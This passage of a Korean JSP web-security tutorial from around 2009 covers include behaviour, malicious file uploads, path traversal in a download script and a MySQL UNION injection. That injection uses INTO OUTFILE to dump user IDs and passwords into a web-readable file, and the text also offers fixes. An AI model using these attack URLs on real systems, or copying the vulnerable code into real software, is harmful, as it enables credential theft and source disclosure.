하지만 ②, ③은 확장자가 jsp에만 반응을 하고 확장자가 jsp가 아닐 경우에는 그냥 텍스트로 include를 처리해 버립니다

④번은 좀 특이합니다 물론 동적으로도 가능하며 리모트로도 가능하다는 것입니다


<%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>

...

String param = request.getParameter("param");

<c:import url="<%=param%>"/>

...


http://localhost/include.jsp?param=http://www.jakartaproject.com/test.jsp


어떻게 될까요?

그나마 다행인것이 test.jsp 파일을 가지고 와서 서버에서 실행되는 것이 아니라 리모트에서 실행된후의 html 결과물만을 가지고 오는군요 그렇지 않으면 악성 스크립트를 활용할수있는 좋은 구멍 이었을텐데 말입니다 ^^;


다음표로 include 4가지 특성을 정리하였습니다

 유형

동적 실행

jsp 확장자에 반응

리모트 실행여부

<%@ include=

N

확장자에 상관없이 JSP로 실행

N

<jsp:include=

Y

확장자가 JSP만 JSP로 실행

N

pageContext.include

Y

확장자가 JSP만 JSP로 실행

N

<c:import url=

Y

확장자가 JSP만 JSP로 실행

Y










3. 파일 업로드 취약점

해커가 가장 많이 이용하고 좋아하는 취약점이 바로 이 파일 업로드입니다

이 부분은 누차 강조되어왔던 부분이라 대부분 아실겁니다

php 서버에는 php파일이, asp서버에는 asp파일이, jsp 서버에는 jsp파일이 업로드 되어서는 안됩니다

즉 서버에서 실행 가능한 파일을 올려선 안된다는 겁니다


악성 스크립트 침투 시나리오

악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

업로드 디렉토리가 /upload/ 라고 가정한다면 (업로드 디렉토리를 찾는건 그리 어렵지 않습니다)

    /upload/test.jsp 파일이 첨부파일을 통해 업로드 되었습니다

URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    그러면 악성 코드가 들어있는 첨부파일이 웹서버에서 실행되어 버립니다

    test.jsp 파일이 서버의 파일을 모두 삭제하는 스크립트라면 큰일이지요

혹은 include 취약점을 이용해서 업로드한 스크립트를 include 시켜 실행 하기도 합니다



4. 파일 다운로드 취약점


간단한 jsp에서 일반적으로 사용하는 파일 다운로드 코드입니다

이역시 물리적 파일명 자체를 파라미터로 전달하고 있으며 이를 받아 파일을 다운로드 시키고 있습니다


<%@ page import="java.io.*"%><%


String param = request.getParameter("param");

File file = new File(getServletContext().getRealPath("/upload/")+param);


response.setContentType("application/smnet");
response.setHeader("Content-Disposition", "attachment;filename=다운로드;");
response.setHeader("Content-Length", String.valueOf(file.length()));
response.setHeader("Content-Transfer-Encoding", "binary;");


/* 파일이 존재하면 다운로드 */

if (file.exists()) {

    byte b[] = new byte[4096];
    BufferedInputStream bin = new BufferedInputStream(new FileInputStream(file));
    BufferedOutputStream outs = new BufferedOutputStream(response.getOutputStream());
    int read = 0;
    try {
        while ((read = bin.read(b)) != -1){
            outs.write(b,0,read);
        }

    } catch (Exception e) {
        System.out.println(e.getMessage());
    } finally {
        if (bin!=null) try { bin.close(); } catch (Exception sube) {}
        if (outs!=null) try { outs.close(); } catch (Exception sube) {}
    }
}


무엇이 잘못되었을까요?

다음과 같이 URL을 요청해 봅시다


http://loalhost/download.jsp?param=../WEB-INF/web.xml




그려면 요청한 web.xml 이 다운로드 됩니다

즉 이말은 웹 어플리케이션의 모든 파일(소스)을 다운로드해 볼수 있다는 것입니다

소스를 보게 된다면 웹해킹이 물론 더 쉬워지겠지요?



5. 업로드 및 다운로드 취약점 개선 시나리오

악성 jsp 코드가 들어있는 test.jsp 파일을 글쓰기 화면을 통해 첨부 파일로 업로드 합니다

/upload/test.jsp 로 업로드 후 파일명을 변경해 버립니다

    /upload/200601171137507804462_jsp 로 변경해 버립시다

    단순히 파일명만 변경해선 안됩니다 확장자도 제거해 버려야 합니다

    업로드 후 파일의 확장자가 두개 이상이던지, "." 이 이유없이 많다던지, "/" 나 "\" 캐릭터가 파일명에 있으면 부적절한 파일로 간주하고 지워버립시다

    그리고 200601171137507804462_jsp 명과 실제 파일명을 같이 데이터베이스에 저장합니다

URL로 그 파일을 요청합니다  http://localhost/upload/test.jsp

    당연히 파일이 존재하지 않음으로 Not Found가 나올것입니다

그럼 다음 URL로 요청해 봅시다 http://localhost/upload/200601171137507804462_jsp

    어떻게 될까요?

    jsp 코드는 실행되지 않고 text로 jsp 코드를 그냥 브라우져에 뿌리게 됩니다

    즉 아무 상관이 없다는 것입니다

    200601171137507804462_jsp 도 유저에게 보여주어서는 안됩니다

    해당 URL 조차 허용하고 싶지 않다면 아래 web.xml에 security 제한을 둡시다

   

<security-constraint>
     <display-name>JSP and Upload File Protection</display-name>
     <web-resource-collection>
         <web-resource-name>SecureFile</web-resource-name>
         <url-pattern>/upload/*</url-pattern>
         <http-method>DELETE</http-method>
         <http-method>GET</http-method>
         <http-method>POST</http-method>
         <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint>
         <role-name>nobody</role-name>
     </auth-constraint>
</security-constraint>


<security-role>
    <description>Nobody should be in this role so JSP files are protected from direct access.</description>
    <role-name>nobody</role-name>
</security-role>


    그러면 http://localhost/upload/200601171137507804462_jsp 은 다음과 같은 메세지를 뿌립니다



    그리고 파일 다운로드는 직접파일 링크가 아니라 response의 ouputStream을 통해 다운로드 시킵시다

   키값을 가지고 200601171137507804462_jsp 명을 얻어 다운로드 할수 있도록 프로그램 해야 합니다

   즉 다운로드 시킬때도 물리적 파일명을 파라미터로 전달하지 말고 해당 키값을 전달해서 파일명을 데이터베이스에서 얻어오도록 합니다


ps. 이런 취약점 때문만은 아니겠지만 업로드한 파일을 파일 시스템으로 저장하지 않고 데이터베이스에 직접 저장하기도 합니다



6. SQL Injection으로 인한 결과물을 파일로저장하여 다운받아 볼 수 있습니다

앞에서 살펴본 SQL Injection을 예를들어봅시다

아래 코드는 게시물 번호를 파라미터로 입력받아 해당 글번호를 조회하는 코드입니다

아래와 같은 코드가 있다고 한다면 UNION SQL Injection 피해를 볼수 있다고 하였습니다


String boardno = request.getParameter("boardno");

rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_test_t WHERE boardno = "+boardno);
    if (rs.next()) {
        out.println(rs.getString(1)+"<br>");
        out.println(rs.getString(2)+"<br>");
        out.println(rs.getString(3)+"<br>");
}


데이터베이스가 MySQL 이라고 한다면 URL 요청이 다음과 같다면 어떻게 될까요?


http://localhost:8080/test.jsp?boardno=1133971825719 UNION SELECT '1', userid, userpw FROM user_t INTO OUTFILE 'C:/Tomcat/webapps/ROOT/upload/hack.txt'


다음과 같이 에러 메세지가 납니다 하지만.. hack.txt란 파일은 생성이 됩니다

즉 user의 모든 아아디 비밀번호를 간편하게 파일로 다운받아 보는겁니다


HTTP Status 500 -

type Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception

org.apache.jasper.JasperException
	org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:372)
	org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)
	org.apache.jasper.servlet.JspServlet.service(JspServlet.java:236)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
	com.jakartaproject.util.CharacterEncodingFilter.doFilter(CharacterEncodingFilter.java:28)

root cause

java.lang.NullPointerException
	org.apache.jsp.test_jsp._jspService(test_jsp.java:64)
	org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:94)
	javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
	org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:324)

그 다음 http://localhost:8080/upload/hack.txt 로 user_t 테이블에 있는 모든 사용자아이디와 비밀번호를 텍스트로 받아볼 수 있습니다. 아마 이방식으로 유저 아뒤/비번 많이 빼내신분들 많으실 겁니다 ㅎㅎ


톰캣 설치 경로는 어떻게 알까요?

톰캣설치경로 대부분 비슷할 겁니다 몇가지 해보면 금방 알수 있습니다



7. 마무리

그렇다면 어떻게 해야 이러한 피해를 최소화 할 수 있을까요? 나름데로 생각해 보았습니다


파라미터와 파라미터값에 대해 알아볼 수 없도록 최소한의 의미만 부여한다!!

   역시나 파라미터가 중요합니다 누구나 알아볼 수 있도록 하는 의미보다는 나름데로

   Naming rule을 정한다든지 암호화 하든지 하는것도 바람직 할 수 있다고 봅니다


파라미터값이 유효한 값인지 체크해 봅니다

   파라미터값을 최대값, 최소값으로 제한하고 꼭 있어야 하는 문자열이나 꼭 없어도 되는 문자열등을 체크합니다

   파라미터값 길이또한 최대, 최소값 제한을 둡니다


중요한 파라미터 값은 (파일명같은..)  절대로 받지 않고 다른 로직으로 생각해 봅시다

    파일명같은 중요한 값은 데이터베이스에 입력해 놓고 키값을 파라미터로 전달받아 파일명을 조회한 후 사용합니다


웹프로그램의 취약점 분석 툴들이 찾아보면 몇개 있습니다(대부분 유로더군요) 이를 이용하여 테스트해 봅니다



두서없이 생각나는데로 적었습니다

그나마 JSP는 다른 PHP나 ASP에 비해 상당히 보안에 안정적입니다 JDBC 마다 틀리겠지만요

해결 방법이 생각해 보면 더 많을겁니다 물론 서버단에서 막는 방법이 제일 좋겠지만요 몇가지 사례를 적어놓았으니 그다음은 응용하기에 달렸지요

방어는 이제 여러분 몫입니다 ㅡ0ㅡ;


뚫느냐 뚫리느냐 그것이 문제로다~


=============================================

본문서는 자유롭게 배포/복사 할수 있지만

이문서의 저자에 대한 언급을 삭제하시면 안됩니다

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com 

=============================================

2009/08/26 17:24 2009/08/26 17:24